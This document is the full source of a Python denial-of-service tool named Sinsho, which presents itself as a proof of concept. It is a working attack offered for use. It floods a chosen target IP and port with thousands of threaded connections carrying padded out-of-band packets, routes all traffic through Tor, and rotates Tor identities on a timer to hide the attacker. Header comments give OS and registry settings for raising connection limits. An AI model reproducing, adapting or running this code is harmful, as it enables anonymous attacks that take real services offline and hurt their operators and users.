Sinsho is a proof of concept denial of service software that takes advantage of vulnerabilities in the TCP/IP Protocol. Updated for Python3
### In order to use this script you will need to adjust values for
### max open file descriptors on your operating system
### How this is done is dependant on your operating system
### Debian ###
### sysctl -w fs.file-max=100000 ###
### ulimit -n 100000 ###
### /proc/sys/net/ipv4/
### tcp_retries1, tcp_retries2
### sysctl -w net.ipv4.tcp_retries1=1
### sysctl -w net.ipv4.tcp_retries2=1
### sysctl -w net.ipv4.tcp_fin_timeout=1
# HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TCPIP\Parameters
# TcpTimedWaitDelay - 300
# TcpMaxDataRetransmissions - 1
# TcpMaxConnectRetransmissions - 1
# InitialRttData - 65535
# Windows 7 SP1 - File Handle Quota
# HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows\
# USERProcessHandleQuota - 100000
import socket
import socks
import time
from threading import *
import errno
##### GLOBALS #####
##### CHANGE THESE VALUE #####
target = "<replace with valid ip address>" # Will not work against loopback - change this
port = 14569
connections = 200 # Connections per thread
threads = 1000 # Open File Descriptors
torChange = 30 # Time between Tor IP Change in seconds
torPort = 9050
torControlPort = 9051 # Type in terminal "tor ControlPort 9051"
##################
### This is the thread sleep time
### Or iteration time between creating new threads
timeout = 2.0 # Edit if needed
##################
def log(message):
print(message)
def newIdentity():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
sock.settimeout(None)
sock.connect(("127.0.0.1", torControlPort))
while True:
try:
sock.send('AUTHENTICATE \"\"\r\nSIGNAL NEWNYM\r\n'.encode())
log("Tor Auth: success!")
log("New identity requested")
sock.recv(1024)
log("Reply: from Tor")
except socket.error as e:
if isinstance(e.args, tuple):
if e[0] == errno.EPIPE:
log("Broken Pipe: socket error %s" % e)
else:
# determine and handle different error
log("Socket error %s" % e)
pass
else:
#log("Socket error %s" % e)
pass
time.sleep(torChange)
return sock
def initTorCon(target, port):
sock = socks.socksocket()
sock.setproxy(socks.PROXY_TYPE_SOCKS5, addr="127.0.0.1", port=torPort)
sock.settimeout(None)
sock.connect((target, port))
return sock
def sinsho():
socks = {}
for i in range(connections):
socks[i] = initTorCon(target, port)
data = "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data += "414141414141414141414141414141414141414141414141414141414141"
data = data.encode()
socks[i].send(data, socket.MSG_OOB | socket.MSG_DONTROUTE)
log("[+] Packet sent...")
def main():
thread_array = []
log("[+] Initiating Sinsho")
log("[+] Target: %s" % target)
log("[+] Port: %s" % port)
log("[+] Starting Single Tor Thread")
thread = Thread(target = newIdentity)
thread.start()
for i in range(threads):
thread = Thread(target = sinsho)
thread.start()
thread_array.append(thread)
time.sleep(timeout)
for thread in thread_array:
thread.join()
time.sleep(torChange)
if __name__ == '__main__':
main()